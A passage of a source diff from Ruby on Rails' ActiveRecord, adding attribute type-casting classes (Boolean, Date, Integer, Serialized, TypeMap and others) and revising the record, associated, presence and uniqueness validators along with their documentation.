+ end
+
+ def type_cast(value)
+ if value.is_a?(Data)
+ value.to_s
+ else
+ super
+ end
+ end
+
+ def type_cast_for_database(value)
+ return if value.nil?
+ Data.new(super)
+ end
+
+ def changed_in_place?(raw_old_value, value)
+ old_value = type_cast_from_database(raw_old_value)
+ old_value != value
+ end
+
+ class Data # :nodoc:
+ def initialize(value)
+ @value = value.to_s
+ end
+
+ def to_s
+ @value
+ end
+ alias_method :to_str, :to_s
+
+ def hex
+ @value.unpack('H*')[0]
+ end
+
+ def ==(other)
+ other == to_s || super
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/boolean.rb b/activerecord/lib/active_record/type/boolean.rb
new file mode 100644
index 0000000000..978d16d524
--- /dev/null
+++ b/activerecord/lib/active_record/type/boolean.rb
@@ -0,0 +1,30 @@
+module ActiveRecord
+ module Type
+ class Boolean < Value # :nodoc:
+ def type
+ :boolean
+ end
+
+ private
+
+ def cast_value(value)
+ if value == ''
+ nil
+ elsif ConnectionAdapters::Column::TRUE_VALUES.include?(value)
+ true
+ else
+ if !ConnectionAdapters::Column::FALSE_VALUES.include?(value)
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ You attempted to assign a value which is not explicitly `true` or `false`
+ to a boolean column. Currently this value casts to `false`. This will
+ change to match Ruby's semantics, and will cast to `true` in Rails 5.
+ If you would like to maintain the current behavior, you should
+ explicitly handle the values you would like cast to `false`.
+ MSG
+ end
+ false
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/date.rb b/activerecord/lib/active_record/type/date.rb
new file mode 100644
index 0000000000..d90a6069b7
--- /dev/null
+++ b/activerecord/lib/active_record/type/date.rb
@@ -0,0 +1,46 @@
+module ActiveRecord
+ module Type
+ class Date < Value # :nodoc:
+ def type
+ :date
+ end
+
+ def klass
+ ::Date
+ end
+
+ def type_cast_for_schema(value)
+ "'#{value.to_s(:db)}'"
+ end
+
+ private
+
+ def cast_value(value)
+ if value.is_a?(::String)
+ return if value.empty?
+ fast_string_to_date(value) || fallback_string_to_date(value)
+ elsif value.respond_to?(:to_date)
+ value.to_date
+ else
+ value
+ end
+ end
+
+ def fast_string_to_date(string)
+ if string =~ ConnectionAdapters::Column::Format::ISO_DATE
+ new_date $1.to_i, $2.to_i, $3.to_i
+ end
+ end
+
+ def fallback_string_to_date(string)
+ new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday))
+ end
+
+ def new_date(year, mon, mday)
+ if year && year != 0
+ ::Date.new(year, mon, mday) rescue nil
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/date_time.rb b/activerecord/lib/active_record/type/date_time.rb
new file mode 100644
index 0000000000..5f19608a33
--- /dev/null
+++ b/activerecord/lib/active_record/type/date_time.rb
@@ -0,0 +1,43 @@
+module ActiveRecord
+ module Type
+ class DateTime < Value # :nodoc:
+ include TimeValue
+
+ def type
+ :datetime
+ end
+
+ def type_cast_for_database(value)
+ zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal
+
+ if value.acts_like?(:time)
+ value.send(zone_conversion_method)
+ else
+ super
+ end
+ end
+
+ private
+
+ def cast_value(string)
+ return string unless string.is_a?(::String)
+ return if string.empty?
+
+ fast_string_to_time(string) || fallback_string_to_time(string)
+ end
+
+ # '0.123456' -> 123456
+ # '1.123456' -> 123456
+ def microseconds(time)
+ time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0
+ end
+
+ def fallback_string_to_time(string)
+ time_hash = ::Date._parse(string)
+ time_hash[:sec_fraction] = microseconds(time_hash)
+
+ new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset))
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/decimal.rb b/activerecord/lib/active_record/type/decimal.rb
new file mode 100644
index 0000000000..d10778eeb6
--- /dev/null
+++ b/activerecord/lib/active_record/type/decimal.rb
@@ -0,0 +1,40 @@
+module ActiveRecord
+ module Type
+ class Decimal < Value # :nodoc:
+ include Numeric
+
+ def type
+ :decimal
+ end
+
+ def type_cast_for_schema(value)
+ value.to_s
+ end
+
+ private
+
+ def cast_value(value)
+ case value
+ when ::Float
+ BigDecimal(value, float_precision)
+ when ::Numeric, ::String
+ BigDecimal(value, precision.to_i)
+ else
+ if value.respond_to?(:to_d)
+ value.to_d
+ else
+ cast_value(value.to_s)
+ end
+ end
+ end
+
+ def float_precision
+ if precision.to_i > ::Float::DIG + 1
+ ::Float::DIG + 1
+ else
+ precision.to_i
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/decimal_without_scale.rb b/activerecord/lib/active_record/type/decimal_without_scale.rb
new file mode 100644
index 0000000000..ff5559e300
--- /dev/null
+++ b/activerecord/lib/active_record/type/decimal_without_scale.rb
@@ -0,0 +1,11 @@
+require 'active_record/type/big_integer'
+
+module ActiveRecord
+ module Type
+ class DecimalWithoutScale < BigInteger # :nodoc:
+ def type
+ :decimal
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/decorator.rb b/activerecord/lib/active_record/type/decorator.rb
new file mode 100644
index 0000000000..9fce38ea44
--- /dev/null
+++ b/activerecord/lib/active_record/type/decorator.rb
@@ -0,0 +1,14 @@
+module ActiveRecord
+ module Type
+ module Decorator # :nodoc:
+ def init_with(coder)
+ @subtype = coder['subtype']
+ __setobj__(@subtype)
+ end
+
+ def encode_with(coder)
+ coder['subtype'] = __getobj__
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/float.rb b/activerecord/lib/active_record/type/float.rb
new file mode 100644
index 0000000000..42eb44b9a9
--- /dev/null
+++ b/activerecord/lib/active_record/type/float.rb
@@ -0,0 +1,19 @@
+module ActiveRecord
+ module Type
+ class Float < Value # :nodoc:
+ include Numeric
+
+ def type
+ :float
+ end
+
+ alias type_cast_for_database type_cast
+
+ private
+
+ def cast_value(value)
+ value.to_f
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/hash_lookup_type_map.rb b/activerecord/lib/active_record/type/hash_lookup_type_map.rb
new file mode 100644
index 0000000000..82d9327fc0
--- /dev/null
+++ b/activerecord/lib/active_record/type/hash_lookup_type_map.rb
@@ -0,0 +1,17 @@
+module ActiveRecord
+ module Type
+ class HashLookupTypeMap < TypeMap # :nodoc:
+ delegate :key?, to: :@mapping
+
+ def alias_type(type, alias_type)
+ register_type(type) { |_, *args| lookup(alias_type, *args) }
+ end
+
+ private
+
+ def perform_fetch(type, *args, &block)
+ @mapping.fetch(type, block).call(type, *args)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/integer.rb b/activerecord/lib/active_record/type/integer.rb
new file mode 100644
index 0000000000..750f353472
--- /dev/null
+++ b/activerecord/lib/active_record/type/integer.rb
@@ -0,0 +1,51 @@
+module ActiveRecord
+ module Type
+ class Integer < Value # :nodoc:
+ include Numeric
+
+ def initialize(*)
+ super
+ @range = -max_value...max_value
+ end
+
+ def type
+ :integer
+ end
+
+ alias type_cast_for_database type_cast
+
+ def type_cast_from_database(value)
+ return if value.nil?
+ value.to_i
+ end
+
+ protected
+
+ attr_reader :range
+
+ private
+
+ def cast_value(value)
+ case value
+ when true then 1
+ when false then 0
+ else
+ result = value.to_i rescue nil
+ ensure_in_range(result) if result
+ result
+ end
+ end
+
+ def ensure_in_range(value)
+ unless range.cover?(value)
+ raise RangeError, "#{value} is out of range for #{self.class} with limit #{limit || 4}"
+ end
+ end
+
+ def max_value
+ limit = self.limit || 4
+ 1 << (limit * 8 - 1) # 8 bits per byte with one bit for sign
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/mutable.rb b/activerecord/lib/active_record/type/mutable.rb
new file mode 100644
index 0000000000..066617ea59
--- /dev/null
+++ b/activerecord/lib/active_record/type/mutable.rb
@@ -0,0 +1,16 @@
+module ActiveRecord
+ module Type
+ module Mutable # :nodoc:
+ def type_cast_from_user(value)
+ type_cast_from_database(type_cast_for_database(value))
+ end
+
+ # +raw_old_value+ will be the `_before_type_cast` version of the
+ # value (likely a string). +new_value+ will be the current, type
+ # cast value.
+ def changed_in_place?(raw_old_value, new_value)
+ raw_old_value != type_cast_for_database(new_value)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/numeric.rb b/activerecord/lib/active_record/type/numeric.rb
new file mode 100644
index 0000000000..fa43266504
--- /dev/null
+++ b/activerecord/lib/active_record/type/numeric.rb
@@ -0,0 +1,36 @@
+module ActiveRecord
+ module Type
+ module Numeric # :nodoc:
+ def number?
+ true
+ end
+
+ def type_cast(value)
+ value = case value
+ when true then 1
+ when false then 0
+ when ::String then value.presence
+ else value
+ end
+ super(value)
+ end
+
+ def changed?(old_value, _new_value, new_value_before_type_cast) # :nodoc:
+ super || number_to_non_number?(old_value, new_value_before_type_cast)
+ end
+
+ private
+
+ def number_to_non_number?(old_value, new_value_before_type_cast)
+ old_value != nil && non_numeric_string?(new_value_before_type_cast)
+ end
+
+ def non_numeric_string?(value)
+ # 'wibble'.to_i will give zero, we want to make sure
+ # that we aren't marking int zero to string zero as
+ # changed.
+ value.to_s !~ /\A\d+\.?\d*\z/
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/serialized.rb b/activerecord/lib/active_record/type/serialized.rb
new file mode 100644
index 0000000000..3191a868ef
--- /dev/null
+++ b/activerecord/lib/active_record/type/serialized.rb
@@ -0,0 +1,56 @@
+module ActiveRecord
+ module Type
+ class Serialized < DelegateClass(Type::Value) # :nodoc:
+ include Mutable
+ include Decorator
+
+ attr_reader :subtype, :coder
+
+ def initialize(subtype, coder)
+ @subtype = subtype
+ @coder = coder
+ super(subtype)
+ end
+
+ def type_cast_from_database(value)
+ if default_value?(value)
+ value
+ else
+ coder.load(super)
+ end
+ end
+
+ def type_cast_for_database(value)
+ return if value.nil?
+ unless default_value?(value)
+ super coder.dump(value)
+ end
+ end
+
+ def changed_in_place?(raw_old_value, value)
+ return false if value.nil?
+ subtype.changed_in_place?(raw_old_value, coder.dump(value))
+ end
+
+ def accessor
+ ActiveRecord::Store::IndifferentHashAccessor
+ end
+
+ def init_with(coder)
+ @coder = coder['coder']
+ super
+ end
+
+ def encode_with(coder)
+ coder['coder'] = @coder
+ super
+ end
+
+ private
+
+ def default_value?(value)
+ value == coder.load(nil)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/string.rb b/activerecord/lib/active_record/type/string.rb
new file mode 100644
index 0000000000..fbc0af2c5a
--- /dev/null
+++ b/activerecord/lib/active_record/type/string.rb
@@ -0,0 +1,36 @@
+module ActiveRecord
+ module Type
+ class String < Value # :nodoc:
+ def type
+ :string
+ end
+
+ def changed_in_place?(raw_old_value, new_value)
+ if new_value.is_a?(::String)
+ raw_old_value != new_value
+ end
+ end
+
+ def type_cast_for_database(value)
+ case value
+ when ::Numeric, ActiveSupport::Duration then value.to_s
+ when ::String then ::String.new(value)
+ when true then "t"
+ when false then "f"
+ else super
+ end
+ end
+
+ private
+
+ def cast_value(value)
+ case value
+ when true then "t"
+ when false then "f"
+ # String.new is slightly faster than dup
+ else ::String.new(value.to_s)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/text.rb b/activerecord/lib/active_record/type/text.rb
new file mode 100644
index 0000000000..26f980f060
--- /dev/null
+++ b/activerecord/lib/active_record/type/text.rb
@@ -0,0 +1,11 @@
+require 'active_record/type/string'
+
+module ActiveRecord
+ module Type
+ class Text < String # :nodoc:
+ def type
+ :text
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/time.rb b/activerecord/lib/active_record/type/time.rb
new file mode 100644
index 0000000000..41f7d97f0c
--- /dev/null
+++ b/activerecord/lib/active_record/type/time.rb
@@ -0,0 +1,26 @@
+module ActiveRecord
+ module Type
+ class Time < Value # :nodoc:
+ include TimeValue
+
+ def type
+ :time
+ end
+
+ private
+
+ def cast_value(value)
+ return value unless value.is_a?(::String)
+ return if value.empty?
+
+ dummy_time_value = "2000-01-01 #{value}"
+
+ fast_string_to_time(dummy_time_value) || begin
+ time_hash = ::Date._parse(dummy_time_value)
+ return if time_hash[:hour].nil?
+ new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/time_value.rb b/activerecord/lib/active_record/type/time_value.rb
new file mode 100644
index 0000000000..d611d72dd4
--- /dev/null
+++ b/activerecord/lib/active_record/type/time_value.rb
@@ -0,0 +1,38 @@
+module ActiveRecord
+ module Type
+ module TimeValue # :nodoc:
+ def klass
+ ::Time
+ end
+
+ def type_cast_for_schema(value)
+ "'#{value.to_s(:db)}'"
+ end
+
+ private
+
+ def new_time(year, mon, mday, hour, min, sec, microsec, offset = nil)
+ # Treat 0000-00-00 00:00:00 as nil.
+ return if year.nil? || (year == 0 && mon == 0 && mday == 0)
+
+ if offset
+ time = ::Time.utc(year, mon, mday, hour, min, sec, microsec) rescue nil
+ return unless time
+
+ time -= offset
+ Base.default_timezone == :utc ? time : time.getlocal
+ else
+ ::Time.public_send(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+ end
+ end
+
+ # Doesn't handle time zones.
+ def fast_string_to_time(string)
+ if string =~ ConnectionAdapters::Column::Format::ISO_DATETIME
+ microsec = ($7.to_r * 1_000_000).to_i
+ new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/type_map.rb b/activerecord/lib/active_record/type/type_map.rb
new file mode 100644
index 0000000000..09f5ba6b74
--- /dev/null
+++ b/activerecord/lib/active_record/type/type_map.rb
@@ -0,0 +1,64 @@
+require 'thread_safe'
+
+module ActiveRecord
+ module Type
+ class TypeMap # :nodoc:
+ def initialize
+ @mapping = {}
+ @cache = ThreadSafe::Cache.new do |h, key|
+ h.fetch_or_store(key, ThreadSafe::Cache.new)
+ end
+ end
+
+ def lookup(lookup_key, *args)
+ fetch(lookup_key, *args) { default_value }
+ end
+
+ def fetch(lookup_key, *args, &block)
+ @cache[lookup_key].fetch_or_store(args) do
+ perform_fetch(lookup_key, *args, &block)
+ end
+ end
+
+ def register_type(key, value = nil, &block)
+ raise ::ArgumentError unless value || block
+ @cache.clear
+
+ if block
+ @mapping[key] = block
+ else
+ @mapping[key] = proc { value }
+ end
+ end
+
+ def alias_type(key, target_key)
+ register_type(key) do |sql_type, *args|
+ metadata = sql_type[/\(.*\)/, 0]
+ lookup("#{target_key}#{metadata}", *args)
+ end
+ end
+
+ def clear
+ @mapping.clear
+ end
+
+ private
+
+ def perform_fetch(lookup_key, *args)
+ matching_pair = @mapping.reverse_each.detect do |key, _|
+ key === lookup_key
+ end
+
+ if matching_pair
+ matching_pair.last.call(lookup_key, *args)
+ else
+ yield lookup_key, *args
+ end
+ end
+
+ def default_value
+ @default_value ||= Value.new
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/value.rb b/activerecord/lib/active_record/type/value.rb
new file mode 100644
index 0000000000..9456a4a56c
--- /dev/null
+++ b/activerecord/lib/active_record/type/value.rb
@@ -0,0 +1,101 @@
+module ActiveRecord
+ module Type
+ class Value # :nodoc:
+ attr_reader :precision, :scale, :limit
+
+ # Valid options are +precision+, +scale+, and +limit+. They are only
+ # used when dumping schema.
+ def initialize(options = {})
+ options.assert_valid_keys(:precision, :scale, :limit)
+ @precision = options[:precision]
+ @scale = options[:scale]
+ @limit = options[:limit]
+ end
+
+ # The simplified type that this object represents. Returns a symbol such
+ # as +:string+ or +:integer+
+ def type; end
+
+ # Type casts a string from the database into the appropriate ruby type.
+ # Classes which do not need separate type casting behavior for database
+ # and user provided values should override +cast_value+ instead.
+ def type_cast_from_database(value)
+ type_cast(value)
+ end
+
+ # Type casts a value from user input (e.g. from a setter). This value may
+ # be a string from the form builder, or an already type cast value
+ # provided manually to a setter.
+ #
+ # Classes which do not need separate type casting behavior for database
+ # and user provided values should override +type_cast+ or +cast_value+
+ # instead.
+ def type_cast_from_user(value)
+ type_cast(value)
+ end
+
+ # Cast a value from the ruby type to a type that the database knows how
+ # to understand. The returned value from this method should be a
+ # +String+, +Numeric+, +Date+, +Time+, +Symbol+, +true+, +false+, or
+ # +nil+
+ def type_cast_for_database(value)
+ value
+ end
+
+ # Type cast a value for schema dumping. This method is private, as we are
+ # hoping to remove it entirely.
+ def type_cast_for_schema(value) # :nodoc:
+ value.inspect
+ end
+
+ # These predicates are not documented, as I need to look further into
+ # their use, and see if they can be removed entirely.
+ def number? # :nodoc:
+ false
+ end
+
+ def binary? # :nodoc:
+ false
+ end
+
+ def klass # :nodoc:
+ end
+
+ # Determines whether a value has changed for dirty checking. +old_value+
+ # and +new_value+ will always be type-cast. Types should not need to
+ # override this method.
+ def changed?(old_value, new_value, _new_value_before_type_cast)
+ old_value != new_value
+ end
+
+ # Determines whether the mutable value has been modified since it was
+ # read. Returns +false+ by default. This method should not be overridden
+ # directly. Types which return a mutable value should include
+ # +Type::Mutable+, which will define this method.
+ def changed_in_place?(*)
+ false
+ end
+
+ def ==(other)
+ self.class == other.class &&
+ precision == other.precision &&
+ scale == other.scale &&
+ limit == other.limit
+ end
+
+ private
+
+ def type_cast(value)
+ cast_value(value) unless value.nil?
+ end
+
+ # Convenience method for types which do not need separate type casting
+ # behavior for user and database inputs. Called by
+ # `type_cast_from_database` and `type_cast_from_user` for all values
+ # except `nil`.
+ def cast_value(value) # :doc:
+ value
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
index 3706885881..a6c8ff7f3a 100644
--- a/activerecord/lib/active_record/validations.rb
+++ b/activerecord/lib/active_record/validations.rb
@@ -5,13 +5,14 @@ module ActiveRecord
# +record+ method to retrieve the record which did not validate.
#
# begin
- # complex_operation_that_calls_save!_internally
+ # complex_operation_that_internally_calls_save!
# rescue ActiveRecord::RecordInvalid => invalid
# puts invalid.record.errors
# end
class RecordInvalid < ActiveRecordError
- attr_reader :record # :nodoc:
- def initialize(record) # :nodoc:
+ attr_reader :record
+
+ def initialize(record)
@record = record
errors = @record.errors.full_messages.join(", ")
super(I18n.t(:"#{@record.class.i18n_scope}.errors.messages.record_invalid", :errors => errors, :default => :"errors.messages.record_invalid"))
@@ -29,21 +30,6 @@ module ActiveRecord
extend ActiveSupport::Concern
include ActiveModel::Validations
- module ClassMethods
- # Creates an object just like Base.create but calls <tt>save!</tt> instead of +save+
- # so an exception is raised if the record is invalid.
- def create!(attributes = nil, &block)
- if attributes.is_a?(Array)
- attributes.collect { |attr| create!(attr, &block) }
- else
- object = new(attributes)
- yield(object) if block_given?
- object.save!
- object
- end
- end
- end
-
# The validation process on save can be skipped by passing <tt>validate: false</tt>.
# The regular Base#save method is replaced with this when the validations
# module is mixed in, which it is by default.
@@ -54,12 +40,14 @@ module ActiveRecord
# Attempts to save the record just like Base#save but will raise a +RecordInvalid+
# exception instead of returning +false+ if the record is not valid.
def save!(options={})
- perform_validations(options) ? super : raise(RecordInvalid.new(self))
+ perform_validations(options) ? super : raise_record_invalid
end
# Runs all the validations within the specified context. Returns +true+ if
# no errors are found, +false+ otherwise.
#
+ # Aliased as validate.
+ #
# If the argument is +false+ (default is +nil+), the context is set to <tt>:create</tt> if
# <tt>new_record?</tt> is +true+, and to <tt>:update</tt> if it is not.
#
@@ -71,11 +59,28 @@ module ActiveRecord
errors.empty? && output
end
+ alias_method :validate, :valid?
+
+ # Runs all the validations within the specified context. Returns +true+ if
+ # no errors are found, raises +RecordInvalid+ otherwise.
+ #
+ # If the argument is +false+ (default is +nil+), the context is set to <tt>:create</tt> if
+ # <tt>new_record?</tt> is +true+, and to <tt>:update</tt> if it is not.
+ #
+ # Validations with no <tt>:on</tt> option will run no matter the context. Validations with
+ # some <tt>:on</tt> option will only run in the specified context.
+ def validate!(context = nil)
+ valid?(context) || raise_record_invalid
+ end
+
protected
+ def raise_record_invalid
+ raise(RecordInvalid.new(self))
+ end
+
def perform_validations(options={}) # :nodoc:
- perform_validation = options[:validate] != false
- perform_validation ? valid?(options[:context]) : true
+ options[:validate] == false || valid?(options[:context])
end
end
end
diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb
index 7f1972ccf9..47ccef31a5 100644
--- a/activerecord/lib/active_record/validations/associated.rb
+++ b/activerecord/lib/active_record/validations/associated.rb
@@ -2,15 +2,15 @@ module ActiveRecord
module Validations
class AssociatedValidator < ActiveModel::EachValidator #:nodoc:
def validate_each(record, attribute, value)
- if Array.wrap(value).reject {|r| r.marked_for_destruction? || r.valid?(record.validation_context) }.any?
+ if Array.wrap(value).reject {|r| r.marked_for_destruction? || r.valid?}.any?
record.errors.add(attribute, :invalid, options.merge(:value => value))
end
end
end
module ClassMethods
- # Validates whether the associated object or objects are all valid
- # themselves. Works with any kind of association.
+ # Validates whether the associated object or objects are all valid.
+ # Works with any kind of association.
#
# class Book < ActiveRecord::Base
# has_many :pages
@@ -29,9 +29,11 @@ module ActiveRecord
# Configuration options:
#
# * <tt>:message</tt> - A custom error message (default is: "is invalid").
- # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
- # validation contexts by default (+nil+), other options are <tt>:create</tt>
- # and <tt>:update</tt>.
+ # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+ # Runs in all validation contexts by default (nil). You can pass a symbol
+ # or an array of symbols. (e.g. <tt>on: :create</tt> or
+ # <tt>on: :custom_validation_context</tt> or
+ # <tt>on: [:create, :custom_validation_context]</tt>)
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine
# if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
# or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb
index 6b14c39686..61b30749d9 100644
--- a/activerecord/lib/active_record/validations/presence.rb
+++ b/activerecord/lib/active_record/validations/presence.rb
@@ -4,11 +4,11 @@ module ActiveRecord
def validate(record)
super
attributes.each do |attribute|
- next unless record.class.reflect_on_association(attribute)
- associated_records = Array(record.send(attribute))
+ next unless record.class._reflect_on_association(attribute)
+ associated_records = Array.wrap(record.send(attribute))
# Superclass validates presence. Ensure present records aren't about to be destroyed.
- if associated_records.present? && associated_records.all? { |r| r.marked_for_destruction? }
+ if associated_records.present? && associated_records.all?(&:marked_for_destruction?)
record.errors.add(attribute, :blank, options)
end
end
@@ -44,9 +44,11 @@ module ActiveRecord
#
# Configuration options:
# * <tt>:message</tt> - A custom error message (default is: "can't be blank").
- # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
- # validation contexts by default (+nil+), other options are <tt>:create</tt>
- # and <tt>:update</tt>.
+ # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+ # Runs in all validation contexts by default (nil). You can pass a symbol
+ # or an array of symbols. (e.g. <tt>on: :create</tt> or
+ # <tt>on: :custom_validation_context</tt> or
+ # <tt>on: [:create, :custom_validation_context]</tt>)
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine if
# the validation should occur (e.g. <tt>if: :allow_validation</tt>, or
# <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method, proc
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index 5fa6a0b892..3e8afe37a8 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -1,54 +1,35 @@
-require 'active_support/core_ext/array/prepend_and_append'
-
module ActiveRecord
module Validations
class UniquenessValidator < ActiveModel::EachValidator # :nodoc:
def initialize(options)
- super(options.reverse_merge(:case_sensitive => true))
- end
-
- # Unfortunately, we have to tie Uniqueness validators to a class.
- def setup(klass)
- @klass = klass
+ if options[:conditions] && !options[:conditions].respond_to?(:call)
+ raise ArgumentError, "#{options[:conditions]} was passed as :conditions but is not callable. " \
+ "Pass a callable instead: `conditions: -> { where(approved: true) }`"
+ end
+ super({ case_sensitive: true }.merge!(options))
+ @klass = options[:class]
end
def validate_each(record, attribute, value)
finder_class = find_finder_class_for(record)
table = finder_class.arel_table
-
- coder = record.class.serialized_attributes[attribute.to_s]
-
- if value && coder
- value = coder.dump value
- end
+ value = map_enum_attribute(finder_class, attribute, value)
relation = build_relation(finder_class, table, attribute, value)
- relation = relation.and(table[finder_class.primary_key.to_sym].not_eq(record.send(:id))) if record.persisted?
-
- Array(options[:scope]).each do |scope_item|
- reflection = record.class.reflect_on_association(scope_item)
- if reflection
- scope_value = record.send(reflection.foreign_key)
- scope_item = reflection.foreign_key
- else
- scope_value = record.read_attribute(scope_item)
- end
- relation = relation.and(table[scope_item].eq(scope_value))
- end
-
+ relation = relation.and(table[finder_class.primary_key.to_sym].not_eq(record.id)) if record.persisted?
+ relation = scope_relation(record, table, relation)
relation = finder_class.unscoped.where(relation)
-
- if options[:conditions]
- relation = relation.merge(options[:conditions])
- end
+ relation = relation.merge(options[:conditions]) if options[:conditions]
if relation.exists?
- record.errors.add(attribute, :taken, options.except(:case_sensitive, :scope, :conditions).merge(:value => value))
+ error_options = options.except(:case_sensitive, :scope, :conditions)
+ error_options[:value] = value
+
+ record.errors.add(attribute, :taken, error_options)
end
end
protected
-
# The check for an existing value should be run from a class that
# isn't abstract. This means working down from the current class
# (self), to the first non-abstract class. Since classes don't know
@@ -58,31 +39,59 @@ module ActiveRecord
class_hierarchy = [record.class]
while class_hierarchy.first != @klass
- class_hierarchy.prepend(class_hierarchy.first.superclass)
+ class_hierarchy.unshift(class_hierarchy.first.superclass)
end
class_hierarchy.detect { |klass| !klass.abstract_class? }
end
def build_relation(klass, table, attribute, value) #:nodoc:
- if reflection = klass.reflect_on_association(attribute)
+ if reflection = klass._reflect_on_association(attribute)
attribute = reflection.foreign_key
- value = value.attributes[reflection.primary_key_column.name]
+ value = value.attributes[reflection.klass.primary_key] unless value.nil?
+ end
+
+ attribute_name = attribute.to_s
+
+ # the attribute may be an aliased attribute
+ if klass.attribute_aliases[attribute_name]
+ attribute = klass.attribute_aliases[attribute_name]
+ attribute_name = attribute.to_s
end
- column = klass.columns_hash[attribute.to_s]
- value = column.limit ? value.to_s[0, column.limit] : value.to_s if !value.nil? && column.text?
+ column = klass.columns_hash[attribute_name]
+ value = klass.connection.type_cast(value, column)
+ if value.is_a?(String) && column.limit
+ value = value.to_s[0, column.limit]
+ end
- if !options[:case_sensitive] && value && column.text?
+ if !options[:case_sensitive] && value.is_a?(String)
# will use SQL LOWER function before comparison, unless it detects a case insensitive collation
- relation = klass.connection.case_insensitive_comparison(table, attribute, column, value)
+ klass.connection.case_insensitive_comparison(table, attribute, column, value)
else
- value = klass.connection.case_sensitive_modifier(value) unless value.nil?
- relation = table[attribute].eq(value)
+ klass.connection.case_sensitive_comparison(table, attribute, column, value)
+ end
+ end
+
+ def scope_relation(record, table, relation)
+ Array(options[:scope]).each do |scope_item|
+ if reflection = record.class._reflect_on_association(scope_item)
+ scope_value = record.send(reflection.foreign_key)
+ scope_item = reflection.foreign_key
+ else
+ scope_value = record._read_attribute(scope_item)
+ end
+ relation = relation.and(table[scope_item].eq(scope_value))
end
relation
end
+
+ def map_enum_attribute(klass, attribute, value)
+ mapping = klass.defined_enums[attribute.to_s]
+ value = mapping[value] if value && mapping
+ value
+ end
end
module ClassMethods
@@ -115,7 +124,7 @@ module ActiveRecord
# of the title attribute:
#
# class Article < ActiveRecord::Base
- # validates_uniqueness_of :title, conditions: where('status != ?', 'archived')
+ # validates_uniqueness_of :title, conditions: -> { where.not(status: 'archived') }
# end
#
# When the record is created, a check is performed to make sure that no
@@ -131,7 +140,7 @@ module ActiveRecord
# the uniqueness constraint.
# * <tt>:conditions</tt> - Specify the conditions to be included as a
# <tt>WHERE</tt> SQL fragment to limit the uniqueness constraint lookup
- # (e.g. <tt>conditions: where('status = ?', 'active')</tt>).
+ # (e.g. <tt>conditions: -> { where(status: 'active') }</tt>).
# * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by
# non-text columns (+true+ by default).
# * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
@@ -143,7 +152,7 @@ module ActiveRecord
# or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
# proc or string should return or evaluate to a +true+ or +false+ value.
# * <tt>:unless</tt> - Specifies a method, proc or string to call to
- # determine if the validation should ot occur (e.g. <tt>unless: :skip_validation</tt>,
+ # determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
# or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
# method, proc or string should return or evaluate to a +true+ or +false+
# value.
@@ -166,11 +175,11 @@ module ActiveRecord
# WHERE title = 'My Post' |
# |
# | # User 2 does the same thing and also
- # | # infers that his title is unique.
+ # | # infers that their title is unique.
# | SELECT * FROM comments
# | WHERE title = 'My Post'
# |
- # # User 1 inserts his comment. |
+ # # User 1 inserts their comment. |
# INSERT INTO comments |
# (title, content) VALUES |
# ('My Post', 'hi!') |
@@ -196,9 +205,9 @@ module ActiveRecord
# exception. You can either choose to let this error propagate (which
# will result in the default Rails exception page being shown), or you
# can catch it and restart the transaction (e.g. by telling the user
- # that the title already exists, and asking him to re-enter the title).
- # This technique is also known as optimistic concurrency control:
- # http://en.wikipedia.org/wiki/Optimistic_concurrency_control.
+ # that the title already exists, and asking them to re-enter the title).
+ # This technique is also known as
+ # {optimistic concurrency control}[http://en.wikipedia.org/wiki/Optimistic_concurrency_control].
#
# The bundled ActiveRecord::ConnectionAdapters distinguish unique index
# constraint errors from other types of database errors by throwing an
